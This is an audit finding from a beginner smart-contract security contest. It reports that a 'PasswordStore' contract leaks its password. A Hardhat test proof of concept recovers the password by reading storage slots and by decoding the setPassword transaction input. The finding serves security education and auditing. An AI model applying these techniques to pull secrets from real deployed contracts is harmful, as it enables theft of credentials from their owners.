Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Do NOT store secrets on a blockchain - the password will be compromised and all relevant projects hacked

Summary

Anyone can read storage slots of a deployed contract OR decode input params of a transaction that called setPassword() function. You cannot store any secrets on a blockchain.

Vulnerability Details

Storage slots of a smart contract can be easily read, so can be input params of a sent transaction. A password stored in a storage variable ( or that was sent as an input ) will be compromised.

Impact

Passwords will be compromised and all the relevant projects hacked. The proof test case:

import { expect } from 'chai';
import { ethers } from 'hardhat';
import { Transaction } from 'ethers';
const { provider, deployContract, getSigners, keccak256, AbiCoder, concat, decodeBytes32String, dataSlice } = ethers;
describe('passwordStore', function () {
it('We should retreive password from the storage', async () => {
const [deployer, user1] = await getSigners();
const password = 'mySecretPassword';
const contract = await deployContract('PasswordStore');
await contract.connect(user1).setPassword(password); // user1 sets the password
// now we'll read it from the storage
// getting the hashed slot for out private password mapping
const slot = keccak256(
concat([AbiCoder.defaultAbiCoder().encode(['address'], [user1.address]), AbiCoder.defaultAbiCoder().encode(['uint256'], [0])])
);
// reading the slot
const fetchedBytes = await provider.getStorage(contract.target, slot);
// decoding it to a string
const decodedPassword = decodeBytes32String(fetchedBytes.slice(0, -2) + '00');
// aaaand....
console.log('DRUM ROLL..... THE DECODED PASSWORD IS:', decodedPassword);
// passwords match, we have the user1's password
expect(decodedPassword).equals(password);
});
it('We should get the password from the tx input', async () => {
const [deployer, user1] = await getSigners();
const password = 'mySecretPassword';
const contract = await deployContract('PasswordStore');
await contract.connect(user1).setPassword(password); // user1 sets the password
// getting all txs from the latest block
const { transactions } = await provider.send('eth_getBlockByNumber', ['latest', true]);
// finding the needed tx where user set the password
const neededTx = transactions.find((tx: Transaction) => tx.to!.toLowerCase() === contract.target.toString().toLowerCase());
// optional, if we don't know the type of the input
const functionSig = dataSlice(neededTx?.input!, 0, 4);
const res = await (await fetch(`https://api.openchain.xyz/signature-database/v1/lookup?filter=false&function=${functionSig}`)).json();
const decodedFuncSig = res.result.function[functionSig][0].name;
console.log('Function sig:', decodedFuncSig); // setPassword(string)
// decoding the input
const decodedFuncInput = AbiCoder.defaultAbiCoder().decode(['string'], dataSlice(neededTx!.input, 4));
// looking at it
console.log('Function input:', decodedFuncInput[0]); // voila, it's a match
// passwords match, we compromised user1 password again
expect(decodedFuncInput[0]).equals(password);
});
});

The tests pass, passwords match in both cases, we were able to get the user1 password by slot reading and by decoding his setPassword tx...

Tools Used

hardhat, ethers.js

Recommendations

Do not store secrets on a blockchain, store them hashed on some secured centralized server, for example

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.